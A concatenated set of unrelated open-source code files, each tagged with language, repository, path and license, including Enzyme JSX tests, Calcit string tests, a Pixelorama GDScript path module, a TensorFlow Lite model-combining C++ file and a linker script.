@ Port for sending command responses
port CmdResponse(
opCode: FwOpcodeType @< Command Op Code
cmdSeq: U32 @< Command Sequence
response: CmdResponse @< The command response argument
)
}
| FORTRAN | 4 | AlperenCetin0/fprime | Fw/Cmd/Cmd.fpp | [
"Apache-2.0"
] |
import React from 'react';
import { expect } from 'chai';
import sinon from 'sinon-sandbox';
export default function describeContainsMatchingElement({
Wrap,
}) {
describe('.containsMatchingElement(node)', () => {
it('matches a root node that looks like the rendered one', () => {
const spy1 = sinon.spy();
const spy2 = sinon.spy();
const wrapper = Wrap((
<div>
<div onClick={spy1} style={{ fontSize: 12, color: 'red' }}>Hello World</div>
<div onClick={spy2} style={{ fontSize: 13, color: 'blue' }}>Goodbye World</div>
</div>
));
expect(wrapper.containsMatchingElement((
<div>
<div>Hello World</div>
<div>Goodbye World</div>
</div>
))).to.equal(true);
expect(wrapper.containsMatchingElement((
<div>
<div onClick={spy1} style={{ fontSize: 12, color: 'red' }}>Hello World</div>
<div onClick={spy2} style={{ fontSize: 13, color: 'blue' }}>Goodbye World</div>
</div>
))).to.equal(true);
expect(wrapper.containsMatchingElement((
<div>
<div onClick={spy1}>Hello World</div>
<div style={{ fontSize: 13, color: 'blue' }}>Goodbye World</div>
</div>
))).to.equal(true);
expect(wrapper.containsMatchingElement((
<div>
<div style={{ fontSize: 12, color: 'red' }}>Hello World</div>
<div onClick={spy2}>Goodbye World</div>
</div>
))).to.equal(true);
expect(wrapper.containsMatchingElement((
<div>
<div>Hello World</div>
<div onClick={spy2} style={{ fontSize: 13, color: 'blue' }}>Goodbye World</div>
</div>
))).to.equal(true);
expect(wrapper.containsMatchingElement((
<div>
<div>Hello World</div>
<div style={{ fontSize: 13, color: 'blue' }}>Goodbye World</div>
</div>
))).to.equal(true);
expect(spy1).to.have.property('callCount', 0);
expect(spy2).to.have.property('callCount', 0);
});
it('matches on a single node that looks like a rendered one', () => {
const spy1 = sinon.spy();
const spy2 = sinon.spy();
const wrapper = Wrap((
<div>
<div onClick={spy1} style={{ fontSize: 12, color: 'red' }}>Hello World</div>
<div onClick={spy2} style={{ fontSize: 13, color: 'blue' }}>Goodbye World</div>
</div>
));
expect(wrapper.containsMatchingElement(<div>Hello World</div>)).to.equal(true);
expect(wrapper.containsMatchingElement(<div>Goodbye World</div>)).to.equal(true);
expect(wrapper.containsMatchingElement((
<div onClick={spy1} style={{ fontSize: 12, color: 'red' }}>Hello World</div>
))).to.equal(true);
expect(wrapper.containsMatchingElement((
<div style={{ fontSize: 12, color: 'red' }}>Hello World</div>
))).to.equal(true);
expect(wrapper.containsMatchingElement((
<div onClick={spy2} style={{ fontSize: 13, color: 'blue' }}>Goodbye World</div>
))).to.equal(true);
expect(wrapper.containsMatchingElement((
<div onClick={spy2}>Goodbye World</div>
))).to.equal(true);
expect(spy1).to.have.property('callCount', 0);
expect(spy2).to.have.property('callCount', 0);
});
it('does not match on a single node that doesn‘t looks like a rendered one', () => {
const spy1 = sinon.spy();
const spy2 = sinon.spy();
const wrapper = Wrap((
<div>
<div onClick={spy1} style={{ fontSize: 12, color: 'red' }}>Hello World</div>
<div onClick={spy2} style={{ fontSize: 13, color: 'blue' }}>Goodbye World</div>
</div>
));
expect(wrapper.containsMatchingElement(<div>Bonjour le monde</div>)).to.equal(false);
expect(wrapper.containsMatchingElement((
<div onClick={spy2}>Au revoir le monde</div>
))).to.equal(false);
});
it('does not differentiate between absence, null, or undefined', () => {
const wrapper = Wrap((
<div>
<div className="a" id={null} />
<div className="b" id={undefined} />
<div className="c" />
</div>
));
expect(wrapper.containsMatchingElement(<div />)).to.equal(true);
expect(wrapper.containsMatchingElement(<div className="a" />)).to.equal(true);
expect(wrapper.containsMatchingElement(<div className="a" id={null} />)).to.equal(true);
expect(wrapper.containsMatchingElement(<div className="a" id={undefined} />)).to.equal(true);
expect(wrapper.containsMatchingElement(<div className="b" />)).to.equal(true);
expect(wrapper.containsMatchingElement(<div className="b" id={null} />)).to.equal(true);
expect(wrapper.containsMatchingElement(<div className="b" id={undefined} />)).to.equal(true);
expect(wrapper.containsMatchingElement(<div className="c" />)).to.equal(true);
expect(wrapper.containsMatchingElement(<div className="c" id={null} />)).to.equal(true);
expect(wrapper.containsMatchingElement(<div className="c" id={undefined} />)).to.equal(true);
});
it('works with leading and trailing spaces', () => {
const wrapper = Wrap((
<li>
<a> All Operations </a>
</li>
));
expect(wrapper.containsMatchingElement(<a> All Operations </a>)).to.equal(true);
});
it('works with leading and trailing newlines', () => {
const wrapper = Wrap((
<li>
<a>
All Operations
</a>
</li>
));
expect(wrapper.containsMatchingElement(<a> All Operations </a>)).to.equal(true);
});
});
}
| JSX | 4 | Joel-LT/enzyme-2 | packages/enzyme-test-suite/test/shared/methods/containsMatchingElement.jsx | [
"MIT"
] |
<div class="svelte-xyz"><section><p class="svelte-xyz">this is styled</p></section></div> | HTML | 2 | Theo-Steiner/svelte | test/css/samples/omit-scoping-attribute-whitespace/expected.html | [
"MIT"
] |
{} (:package |test-string)
:configs $ {} (:init-fn |test-string.main/main!) (:reload-fn |test-string.main/reload!)
:files $ {}
|test-string.main $ {}
:ns $ quote
ns test-string.main $ :require
[] util.core :refer $ [] inside-eval:
:defs $ {}
|test-str $ quote
defn test-str ()
assert= (&str:concat |a |b) |ab
assert= (&str:concat 1 2) |12
assert= (str |a |b |c) |abc
assert= (str |a nil |c) |ac
assert= (str 1 2 3) |123
assert= (type-of (&str 1)) :string
assert=
.replace "|this is a" |is |IS
, "|thIS IS a"
assert=
split "|a,b,c" "|,"
[] |a |b |c
assert=
split-lines "|a\nb\nc"
[] |a |b |c
assert=
split |a中b文c |
[] |a |中 |b |文 |c
assert= 4
count |good
assert= |56789 $ .slice |0123456789 5
assert= |567 $ .slice |0123456789 5 8
assert= | $ .slice |0123456789 10
assert= | $ .slice |0123456789 9 1
assert= -1 $ &str:compare |a |b
assert= 1 $ &str:compare |b |a
assert= 0 $ &str:compare |a |a
assert-detect identity $ < |a |b
assert-detect identity $ < |aa |ab
assert-detect not $ > |aa |ab
|test-includes $ quote
fn ()
log-title "|Testing includes"
assert= true $ includes? |abc |abc
assert= false $ includes? |abd |abc
assert= 3 $ .find-index |0123456 |3
assert= 3 $ .find-index |0123456 |34
assert= 0 $ .find-index |0123456 |01
assert= 4 $ .find-index |0123456 |456
assert= -1 $ .find-index |0123456 |98
assert= true $ starts-with? |01234 |0
assert= true $ starts-with? |01234 |01
assert= false $ starts-with? |01234 |12
assert= true $ starts-with? :a/b :a/
assert= true $ ends-with? |01234 |34
assert= true $ ends-with? |01234 |4
assert= false $ ends-with? |01234 |23
assert= |abc $ strip-prefix |ababc |ab
assert= |0abc $ strip-prefix |0abc |ab
assert= |aba $ strip-suffix |ababc |bc
assert= |abc0 $ strip-suffix |abc0 |bc
|test-parse $ quote
fn ()
assert= 0 $ parse-float |0
|test-trim $ quote
fn ()
assert= | $ trim "| "
assert= |1 $ trim "| 1 "
assert= |1 $ trim "|\n1\n"
assert= | $ trim "|______" |_
assert= |1 $ trim "|__1__" |_
|log-title $ quote
defn log-title (title)
echo
echo title
echo
|test-format $ quote
fn ()
log-title "|Testing format"
assert= |1.2346 $ .format 1.23456789 4
assert= |1.235 $ .format 1.23456789 3
assert= |1.23 $ .format 1.23456789 2
assert= |1.2 $ .format 1.23456789 1
inside-eval:
; TODO not stable
; assert= "|({} (:c ([] 3)) (:a 1) (:b |2) (:d ({} (([] 1 2) 3))))"
pr-str $ {}
:a 1
:b |2
:c $ [] 3
:d $ {}
([] 1 2) 3
let
Person $ new-record 'Person :name :age
edn-demo "|%{} :Person (:age 23) (:name |Chen)"
; "no stable order"
assert=
count $ pr-str $ %{} Person (:name |Chen) (:age 23)
count "|(%{} :Person (:name |Chen) (:age 23))"
; "no stable order"
assert=
count edn-demo
count $ trim $ format-cirru-edn $ %{} Person (:name |Chen) (:age 23)
assert=
parse-cirru-edn edn-demo
%{} Person (:name |Chen) (:age 23)
assert= 'a
parse-cirru-edn "|do 'a"
assert=
{}
:code $ :: 'quote
[] |+ |1 |2 |3
parse-cirru-edn "|{} $ :code $ quote $ + 1 2 3"
assert=
:: :a 1
parse-cirru-edn "|:: :a 1"
assert= "|{} $ :code\n quote $ + 1 2 3"
trim $ format-cirru-edn $ {}
:code $ :: 'quote $ [] |+ |1 |2 |3
assert= "|[] 'a"
trim $ format-cirru-edn $ [] 'a
assert= "|do nil"
trim $ format-cirru-edn nil
assert= "|do 's"
trim $ format-cirru-edn 's
assert= "|:: :&core-list-class $ [] 1 2 3"
trim $ format-cirru-edn $ :: &core-list-class $ [] 1 2 3
assert= (.escape "|\n") "|\"\\n\""
assert= (.escape "|\t") "|\"\\t\""
assert= (.escape "|a") "|\"a\""
|test-char $ quote
fn ()
log-title "|Test char"
assert= 97 $ .get-char-code |a
assert= 27721 $ .get-char-code |汉
assert= |a $ char-from-code 97
assert= |a $ nth |abc 0
assert= |b $ nth |abc 1
assert= |a $ first |abc
assert= |c $ last |abc
assert= nil $ first |
assert= nil $ last |
|test-whitespace $ quote
fn ()
log-title "|Test blank?"
assert-detect identity $ blank? |
assert-detect identity $ blank? "\""
assert-detect identity $ blank? "| "
assert-detect identity $ blank? "| "
assert-detect identity $ blank? "|\n"
assert-detect identity $ blank? "|\n "
assert-detect not $ blank? |1
assert-detect not $ blank? "| 1"
assert-detect not $ blank? "|1 "
|test-lisp-style $ quote
fn ()
log-title "|Test lisp style"
assert=
format-to-lisp $ quote (defn f1 (x) (+ x y))
, "|(defn f1 (x) (+ x y))"
assert=
format-to-lisp $ quote $ nil? nil
, "|(nil? nil)"
inside-eval:
assert=
format-to-cirru $ macroexpand-all $ quote
let ((a 1) (b :d) (c |c)) (+ a b c)
format-cirru $ []
[] |&let ([] |a |1)
[] |&let ([] |b |:d)
[] |&let ([] |c ||c)
[] |+ |a |b |c
assert=
trim $ format-to-cirru $ quote
defn (a b)
+ a b
, "|defn (a b)\n + a b"
|test-methods $ quote
defn test-methods ()
log-title "|Testing string methods"
assert= true $ .blank? |
assert= true $ .blank? "| "
assert= false $ .blank? |a
assert= 3 (.count |abc)
assert= | (.empty |a)
assert= true $ .ends-with? |abc |c
assert= false $ .ends-with? |abc |b
assert= |a $ .get |abc 0
assert= |b $ .get |abc 1
assert= 1 $ .parse-float |1
assert= 1.1 $ .parse-float |1.1
assert= |Abcd $ .replace |abcd |a |A
assert= |AbAd $ .replace |abad |a |A
assert=
[] |a |c
.split |abc |b
assert=
[] |a |c
.split-lines "|a\nc"
assert= true $ .starts-with? |abcd |a
assert= false $ .starts-with? |abcd |b
assert= |bcd $ .strip-prefix |abcd |a
assert= |abc $ .strip-suffix |abcd |d
assert= |abcd $ .strip-suffix |abcd |a
assert= |bc $ .slice |abcd 1 3
assert= |bcd $ .slice |abcd 1
assert= |文字 $ .slice |中文字符串 1 3
assert= |文字符串 $ .slice |中文字符串 1
assert= "|ab cd" $ .trim "| ab cd"
assert= true $ .empty? |
assert= false $ .empty? "|a"
assert= true $ .contains? |abcd 0
assert= false $ .contains? |abcd 4
assert= true $ .includes? |abcd |a
assert= false $ .includes? |abcd |e
assert= |a $ .nth |abc 0
assert= |b $ .nth |abc 1
assert= |a $ .first |abc
assert= nil $ .first |
assert= |bc $ .rest |abc
assert= 0 $ .find-index |abc |a
assert= 1 $ .find-index |abc |b
assert= "|\"a \\\"\"" $ .escape "|a \""
assert= |00000a $ .pad-left |a 6 |0
assert= |a00000 $ .pad-right |a 6 |0
assert= |12312a $ .pad-left |a 6 |123
assert= |a12312 $ .pad-right |a 6 |123
|main! $ quote
defn main! ()
log-title "|Testing str"
test-str
test-includes
log-title "|Testing parse"
test-parse
log-title "|Testing trim"
test-trim
test-format
test-char
test-whitespace
test-lisp-style
test-methods
do true
:proc $ quote ()
:configs $ {} (:extension nil)
| Cirru | 4 | calcit-lang/calcit.rs | calcit/test-string.cirru | [
"MIT"
] |
extends Reference
# These are *with* the config subdirectory name
var xdg_data_home : String
var xdg_data_dirs : Array
# These are *without* the config subdirectory name
var raw_xdg_data_home : String
var raw_xdg_data_dirs : Array
# Default location for xdg_data_home relative to $HOME
const default_xdg_data_home_rel := ".local/share"
const default_xdg_data_dirs := ["/usr/local/share", "/usr/share"]
const config_subdir_name := "pixelorama_data"
const xdg_config_subdir_name := "pixelorama"
const palettes_data_subdirectory := "Palettes"
const brushes_data_subdirectory := "Brushes"
const patterns_data_subdirectory := "Patterns"
# Get if we should use XDG standard or not nyaaaa
func use_xdg_standard() -> bool:
# see: https://docs.godotengine.org/en/latest/getting_started/workflow/export/feature_tags.html
# return OS.has_feature("Linux") or OS.has_feature("BSD")
# Previous was unreliable and buggy >.< nyaa
return OS.get_name() == "X11"
func _init() -> void:
if use_xdg_standard():
print("Detected system where we should use XDG basedir standard (currently Linux or BSD)")
var home := OS.get_environment("HOME")
raw_xdg_data_home = home.plus_file(
default_xdg_data_home_rel
)
xdg_data_home = raw_xdg_data_home.plus_file(
xdg_config_subdir_name
)
# Create defaults
xdg_data_dirs = []
raw_xdg_data_dirs = default_xdg_data_dirs
for default_loc in raw_xdg_data_dirs:
xdg_data_dirs.append(
default_loc.plus_file(xdg_config_subdir_name)
)
# Now check the XDG environment variables and if
# present, replace the defaults with them!
# See: https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html
# Checks the xdg data home var
if OS.has_environment("XDG_DATA_HOME"):
raw_xdg_data_home = OS.get_environment("XDG_DATA_HOME")
xdg_data_home = raw_xdg_data_home.plus_file(xdg_config_subdir_name)
# Checks the list of files var, and processes them.
if OS.has_environment("XDG_DATA_DIRS"):
var raw_env_var := OS.get_environment("XDG_DATA_DIRS")
# includes empties.
var unappended_subdirs := raw_env_var.split(":", true)
raw_xdg_data_dirs = unappended_subdirs
xdg_data_dirs = []
for unapp_subdir in raw_xdg_data_dirs:
xdg_data_dirs.append(unapp_subdir.plus_file(xdg_config_subdir_name))
xdg_data_dirs.append(Global.root_directory.plus_file(config_subdir_name))
else:
raw_xdg_data_home = Global.root_directory
xdg_data_home = raw_xdg_data_home.plus_file(config_subdir_name)
raw_xdg_data_dirs = []
xdg_data_dirs = []
func append_file_to_all(basepaths: Array, subpath: String) -> Array:
var res := []
for _path in basepaths:
res.append(_path.plus_file(subpath))
return res
# Get search paths in order of priority
func get_search_paths_in_order() -> Array:
return [xdg_data_home] + xdg_data_dirs
# Gets the paths, in order of search priority, for palettes.
func get_palette_search_path_in_order() -> Array:
var base_paths := get_search_paths_in_order()
return append_file_to_all(base_paths, palettes_data_subdirectory)
# Gets the paths, in order of search priority, for brushes.
func get_brushes_search_path_in_order() -> Array:
var base_paths := get_search_paths_in_order()
return append_file_to_all(base_paths, brushes_data_subdirectory)
# Gets the paths, in order of search priority, for patterns.
func get_patterns_search_path_in_order() -> Array:
var base_paths := get_search_paths_in_order()
return append_file_to_all(base_paths, patterns_data_subdirectory)
# Get the path that we are ok to be writing palettes to:
func get_palette_write_path() -> String:
return xdg_data_home.plus_file(palettes_data_subdirectory)
# Get the path that we are ok to be writing brushes to:
func get_brushes_write_path() -> String:
return xdg_data_home.plus_file(brushes_data_subdirectory)
# Get the path that we are ok to be writing patterns to:
func get_patterns_write_path() -> String:
return xdg_data_home.plus_file(patterns_data_subdirectory)
# Ensure the user xdg directories exist:
func ensure_xdg_user_dirs_exist() -> void:
if !OS.has_feature("standalone"): # Don't execute if we're in the editor
return
var base_dir := Directory.new()
base_dir.open(raw_xdg_data_home)
# Ensure the main config directory exists.
if not base_dir.dir_exists(xdg_data_home):
base_dir.make_dir(xdg_data_home)
var actual_data_dir := Directory.new()
actual_data_dir.open(xdg_data_home)
var palette_writing_dir := get_palette_write_path()
var brushes_writing_dir := get_brushes_write_path()
var pattern_writing_dir := get_patterns_write_path()
# Create the palette and brush dirs
if not actual_data_dir.dir_exists(palette_writing_dir):
print("Making directory %s" % [palette_writing_dir])
actual_data_dir.make_dir(palette_writing_dir)
if not actual_data_dir.dir_exists(brushes_writing_dir):
print("Making directory %s" % [brushes_writing_dir])
actual_data_dir.make_dir(brushes_writing_dir)
if not actual_data_dir.dir_exists(pattern_writing_dir):
print("Making directory %s" % [pattern_writing_dir])
actual_data_dir.make_dir(pattern_writing_dir)
| GDScript | 5 | triptych/Pixelorama | src/XDGDataPaths.gd | [
"MIT"
] |
fn main() {
format_args_nl!(""); //~ ERROR `format_args_nl` is only for internal language use
}
| Rust | 0 | Eric-Arellano/rust | src/test/ui/feature-gates/feature-gate-format_args_nl.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
// Every Thread in sclang has a (pseudo-) random number generator that is responsible for all randomization within this thread. Each random number generator has its own seed (starting point) from which the series of values is generated. This seed can be set and after that, the randgen (being strictly deterministic) produces exactly the same numbers again.
// In order to save disk space, you can reproduce any sequence of randomized data just by one Integer number that you can write down in your notebook.
// every thread, also a Routine, has a random generator seed:
(
r = Routine({
loop({#[1,2,3,4,5].choose.yield })
});
r.randSeed = 1923;
)
// using the routine to fill an array
Array.fill(7, r);
// setting the random generator seed back to our initial seed
r.randSeed = 1923;
// causes this array to be identical
Array.fill(7, r);
| SuperCollider | 4 | drichardson/examples | SuperCollider/Randomness.scd | [
"Unlicense"
] |
/*
* Program type: Embedded Static SQL
*
* Description:
* This program demonstrates a singleton select.
* A full name and phone number are displayed for
* the CEO of the company.
* The contents of this file are subject to the Interbase Public
* License Version 1.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy
* of the License at http://www.Inprise.com/IPL.html
*
* Software distributed under the License is distributed on an
* "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express
* or implied. See the License for the specific language governing
* rights and limitations under the License.
*
* The Original Code was created by Inprise Corporation
* and its predecessors. Portions created by Inprise Corporation are
* Copyright (C) Inprise Corporation.
*
* All Rights Reserved.
* Contributor(s): ______________________________________.
*/
#include "example.h"
#include <stdlib.h>
#include <stdio.h>
#define FIRSTLEN 15
#define LASTLEN 20
#define EXTLEN 4
#define DEPTNO 3
#define PHONELEN 20
EXEC SQL
BEGIN DECLARE SECTION;
EXEC SQL
END DECLARE SECTION;
int main (void)
{
char first[FIRSTLEN + 1];
char last[LASTLEN + 1];
char ext[EXTLEN + 1];
char phone[PHONELEN + 1];
char dept[DEPTNO + 1];
/*
* Assume there's only one CEO.
* Select the name and phone extension.
*/
EXEC SQL
SELECT first_name, last_name, phone_ext, dept_no
INTO :first, :last, :ext, :dept
FROM employee
WHERE job_code = 'CEO';
/* Check the SQLCODE to make sure only 1 row was selected. */
if (SQLCODE)
{
isc_print_sqlerror((short)SQLCODE, gds__status);
exit(1);
}
/*
* Also, select the department phone number.
*/
EXEC SQL
SELECT phone_no
INTO :phone
FROM department
WHERE dept_no = :dept;
if (SQLCODE)
{
isc_print_sqlerror((short)SQLCODE, gds__status);
exit(1);
}
printf("President: %s %s\t\t", first, last);
printf("Phone #: %s x%s\n", phone, ext);
EXEC SQL
COMMIT RELEASE;
exit(0);
}
| Eiffel | 5 | jiemurat/delphimvcframework | unittests/general/Several/bin/firebird/examples/stat/stat2.e | [
"Apache-2.0"
] |
.header {
display: flex;
flex-direction: column;
align-items: center;
}
.headerImage {
width: 6rem;
height: 6rem;
}
.headerHomeImage {
width: 8rem;
height: 8rem;
}
.borderCircle {
border-radius: 9999px;
}
.headingLg {
font-size: 1.5rem;
line-height: 1.4;
margin: 1rem 0;
}
| CSS | 3 | blomqma/next.js | examples/with-unsplash/components/User/User.module.css | [
"MIT"
] |
#define noname_width 16
#define noname_height 16
static char noname_bits[] = {
0x0c,0x00,0x1c,0x00,0x3c,0x00,0x7c,0x00,0xfc,0x00,0xfc,0x01,0xfc,0x03,0xfc,
0x07,0xfc,0x0f,0xfc,0x0f,0xfc,0x01,0xdc,0x03,0xcc,0x03,0x80,0x07,0x80,0x07,
0x00,0x03};
| Mask | 4 | digikar99/ccl | cocoa-ide/hemlock/hemlock11.mask | [
"Apache-2.0"
] |
$var: red;
| SCSS | 0 | blomqma/next.js | test/integration/scss-fixtures/basic-module-include-paths/styles/_vars.scss | [
"MIT"
] |
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/lite/experimental/acceleration/mini_benchmark/grafter.h"
#include <stdint.h>
#include <string>
#include <vector>
#include "absl/status/status.h"
#include "absl/status/statusor.h"
#include "flatbuffers/flatbuffers.h" // from @flatbuffers
#include "flatbuffers/idl.h" // from @flatbuffers
#include "flatbuffers/reflection.h" // from @flatbuffers
#include "flatbuffers/reflection_generated.h" // from @flatbuffers
#include "tensorflow/lite/model.h"
#include "tensorflow/lite/schema/reflection/schema_generated.h"
namespace fb = flatbuffers;
namespace tflite {
namespace acceleration {
namespace {
class Combiner : FlatbufferHelper {
public:
Combiner(flatbuffers::FlatBufferBuilder* fbb,
std::vector<const Model*> models,
std::vector<std::string> subgraph_names,
const reflection::Schema* schema)
: FlatbufferHelper(fbb, schema),
fbb_(fbb),
models_(models),
subgraph_names_(subgraph_names),
schema_(schema) {}
absl::Status Combine() {
auto operator_codes = OperatorCodes();
if (!operator_codes.ok()) {
return operator_codes.status();
}
auto subgraphs = SubGraphs();
if (!subgraphs.ok()) {
return subgraphs.status();
}
auto buffers = Buffers();
if (!buffers.ok()) {
return buffers.status();
}
auto metadata = Metadatas();
if (!metadata.ok()) {
return metadata.status();
}
auto signature_defs = SignatureDefs();
if (!signature_defs.ok()) {
return signature_defs.status();
}
fb::Offset<Model> model = CreateModel(
*fbb_, 3, *operator_codes, *subgraphs,
fbb_->CreateString(models_[0]->description()->str()), *buffers,
/* metadata_buffer */ 0, *metadata, *signature_defs);
fbb_->Finish(model, "TFL3");
return absl::OkStatus();
}
private:
absl::StatusOr<fb::Offset<fb::Vector<fb::Offset<OperatorCode>>>>
OperatorCodes() {
std::vector<fb::Offset<OperatorCode>> codes;
for (const Model* model : models_) {
for (int i = 0; i < model->operator_codes()->size(); i++) {
auto status = CopyTableToVector(
"tflite.OperatorCode", model->operator_codes()->Get(i), &codes);
if (!status.ok()) {
return status;
}
}
}
return fbb_->CreateVector(codes);
}
absl::StatusOr<fb::Offset<fb::Vector<fb::Offset<SubGraph>>>> SubGraphs() {
std::vector<fb::Offset<SubGraph>> graphs;
int buffer_offset = 0;
int operator_code_offset = 0;
int subgraph_index = 0;
for (const Model* model : models_) {
if (model->subgraphs()->size() != 1) {
return absl::InvalidArgumentError(
"Every model to be combined must have a single subgraph.");
}
auto graph =
AdjustSubGraph(model->subgraphs()->Get(0), buffer_offset,
operator_code_offset, subgraph_names_[subgraph_index]);
if (!graph.ok()) {
return graph.status();
}
graphs.push_back(*graph);
buffer_offset += model->buffers()->size();
operator_code_offset += model->operator_codes()->size();
++subgraph_index;
}
return fbb_->CreateVector(graphs);
}
absl::StatusOr<fb::Offset<fb::Vector<fb::Offset<Buffer>>>> Buffers() {
std::vector<fb::Offset<Buffer>> buffers;
for (const Model* model : models_) {
for (int i = 0; i < model->buffers()->size(); i++) {
auto status = CopyTableToVector("tflite.Buffer",
model->buffers()->Get(i), &buffers);
if (!status.ok()) {
return status;
}
}
}
return fbb_->CreateVector(buffers);
}
absl::StatusOr<fb::Offset<fb::Vector<fb::Offset<Metadata>>>> Metadatas() {
std::vector<fb::Offset<Metadata>> metadatas;
int buffer_offset = 0;
for (const Model* model : models_) {
for (int i = 0; model->metadata() && i < model->metadata()->size(); i++) {
auto metadata =
AdjustMetadata(model->metadata()->Get(i), buffer_offset);
if (!metadata.ok()) {
return metadata.status();
}
metadatas.push_back(*metadata);
buffer_offset += model->buffers()->size();
}
}
return fbb_->CreateVector(metadatas);
}
absl::StatusOr<fb::Offset<fb::Vector<fb::Offset<SignatureDef>>>>
SignatureDefs() {
std::vector<fb::Offset<SignatureDef>> signature_defs;
const Model* model = models_[0];
for (int i = 0;
model->signature_defs() && i < model->signature_defs()->size(); i++) {
auto status =
CopyTableToVector("tflite.SignatureDef",
model->signature_defs()->Get(i), &signature_defs);
if (!status.ok()) {
return status;
}
}
return fbb_->CreateVector(signature_defs);
}
absl::StatusOr<fb::Offset<SubGraph>> AdjustSubGraph(const SubGraph* graph,
int buffer_offset,
int operator_code_offset,
const std::string& name) {
auto tensors = AdjustTensors(graph, buffer_offset);
if (!tensors.ok()) {
return tensors.status();
}
auto ops = AdjustOps(graph, operator_code_offset);
if (!ops.ok()) {
return ops.status();
}
return CreateSubGraph(*fbb_, fbb_->CreateVector(*tensors),
CopyIntVector(graph->inputs()),
CopyIntVector(graph->outputs()),
fbb_->CreateVector(*ops), fbb_->CreateString(name));
}
absl::StatusOr<std::vector<fb::Offset<Operator>>> AdjustOps(
const SubGraph* graph, int operator_code_offset) {
std::vector<fb::Offset<Operator>> ops;
auto op_object = FindObject("tflite.Operator");
const reflection::Field* builtin_options_field = nullptr;
for (auto it = op_object->fields()->cbegin();
it != op_object->fields()->cend(); it++) {
auto candidate = *it;
if (candidate->name()->str() == "builtin_options") {
builtin_options_field = candidate;
break;
}
}
if (!builtin_options_field) {
return absl::UnknownError(
"Wasn't able to find the builtin_options field on tflite.Operator");
}
for (int i = 0; i < graph->operators()->size(); i++) {
const Operator* op = graph->operators()->Get(i);
fb::Offset<void> copied_builtin_options = 0;
if (op->builtin_options() != nullptr) {
const fb::Table* opt = (const fb::Table*)op; // NOLINT
auto& builtin_options_object = fb::GetUnionType(
*schema_, *op_object, *builtin_options_field, *opt);
copied_builtin_options =
fb::CopyTable(*fbb_, *schema_, builtin_options_object,
*fb::GetFieldT(*opt, *builtin_options_field))
.o;
}
ops.push_back(CreateOperator(
*fbb_, op->opcode_index() + operator_code_offset,
CopyIntVector(op->inputs()), CopyIntVector(op->outputs()),
op->builtin_options_type(), copied_builtin_options,
CopyIntVector(op->custom_options()), op->custom_options_format(),
CopyIntVector(op->mutating_variable_inputs()),
CopyIntVector(op->intermediates())));
}
return ops;
}
absl::StatusOr<std::vector<fb::Offset<Tensor>>> AdjustTensors(
const SubGraph* graph, int buffer_offset) {
std::vector<fb::Offset<Tensor>> tensors;
auto orig_tensors = graph->tensors();
for (auto iter = orig_tensors->cbegin(); iter != orig_tensors->cend();
iter++) {
auto i = *iter;
std::vector<int32_t> shape{i->shape()->cbegin(), i->shape()->cend()};
std::vector<int32_t> shape_signature;
if (i->shape_signature()) {
shape_signature.assign(i->shape_signature()->cbegin(),
i->shape_signature()->cend());
}
auto quantization =
CopyTable("tflite.QuantizationParameters", i->quantization());
if (!quantization.ok()) {
return quantization.status();
}
auto sparsity = CopyTable("tflite.SparsityParameters", i->sparsity());
if (!sparsity.ok()) {
return sparsity.status();
}
tensors.push_back(CreateTensor(
*fbb_, fbb_->CreateVector(shape), i->type(),
i->buffer() + buffer_offset, fbb_->CreateString(i->name()->str()),
*quantization, i->is_variable(), *sparsity,
shape_signature.empty() ? 0 : fbb_->CreateVector(shape_signature)));
}
return tensors;
}
absl::StatusOr<fb::Offset<Metadata>> AdjustMetadata(const Metadata* metadata,
int buffer_offset) {
return CreateMetadata(*fbb_,
metadata->name()
? fbb_->CreateString(metadata->name()->str())
: 0,
metadata->buffer())
.o;
}
flatbuffers::FlatBufferBuilder* fbb_;
std::vector<const Model*> models_;
std::vector<std::string> subgraph_names_;
const reflection::Schema* schema_;
};
} // namespace
absl::Status CombineModels(flatbuffers::FlatBufferBuilder* fbb,
std::vector<const Model*> models,
std::vector<std::string> subgraph_names,
const reflection::Schema* schema) {
if (!fbb || !schema) {
return absl::InvalidArgumentError(
"Must provide FlatBufferBuilder and Schema");
}
if (models.size() < 2) {
return absl::InvalidArgumentError("Must have 2+ models to combine");
}
Combiner combiner(fbb, models, subgraph_names, schema);
return combiner.Combine();
}
FlatbufferHelper::FlatbufferHelper(flatbuffers::FlatBufferBuilder* fbb,
const reflection::Schema* schema)
: fbb_(fbb), schema_(schema) {}
const reflection::Object* FlatbufferHelper::FindObject(
const std::string& name) {
for (auto candidate = schema_->objects()->cbegin();
candidate != schema_->objects()->cend(); candidate++) {
if (candidate->name()->str() == name) {
return *candidate;
}
}
return nullptr;
}
} // namespace acceleration
} // namespace tflite
| C++ | 5 | EricRemmerswaal/tensorflow | tensorflow/lite/experimental/acceleration/mini_benchmark/grafter.cc | [
"Apache-2.0"
] |
module Spec
# Info that `describe`, `context` and `it` all have in common.
module Item
# The `describe`/`context` that wraps this example or example group.
getter parent : Context
# The example or example group's description.
getter description : String
# The file where the example or example group is defined.
getter file : String
# The line where the example or example group starts.
getter line : Int32
# The line where the example or example group ends.
getter end_line : Int32
# Does this example or example group have `focus: true` on it?
getter? focus : Bool
# The tags defined on this example or example group
getter tags : Set(String)?
private def initialize_tags(tags)
@tags = tags.is_a?(String) ? Set{tags} : tags.try(&.to_set)
end
end
end
| Crystal | 4 | n00p3/crystal | src/spec/item.cr | [
"Apache-2.0"
] |
SECTIONS
{
. = 4M + SIZEOF_HEADERS;
stext = .;
.text : { *(.init) *(.text) *(.text.*) }
. = ALIGN(4K);
.data : {
*(.data)
exception_table_start = .;
*(.data.ex)
exception_table_end = .;
}
. = ALIGN(16);
.rodata : { *(.rodata) }
. = ALIGN(16);
.bss : { *(.bss) }
. = ALIGN(4K);
edata = .;
}
ENTRY(start)
| Linker Script | 3 | Tuna0128/Tuna0128.github.io | tests/kvm-unit-tests/x86/flat.lds | [
"BSD-2-Clause-FreeBSD"
] |
/*!40103 SET TIME_ZONE='+00:00' */;
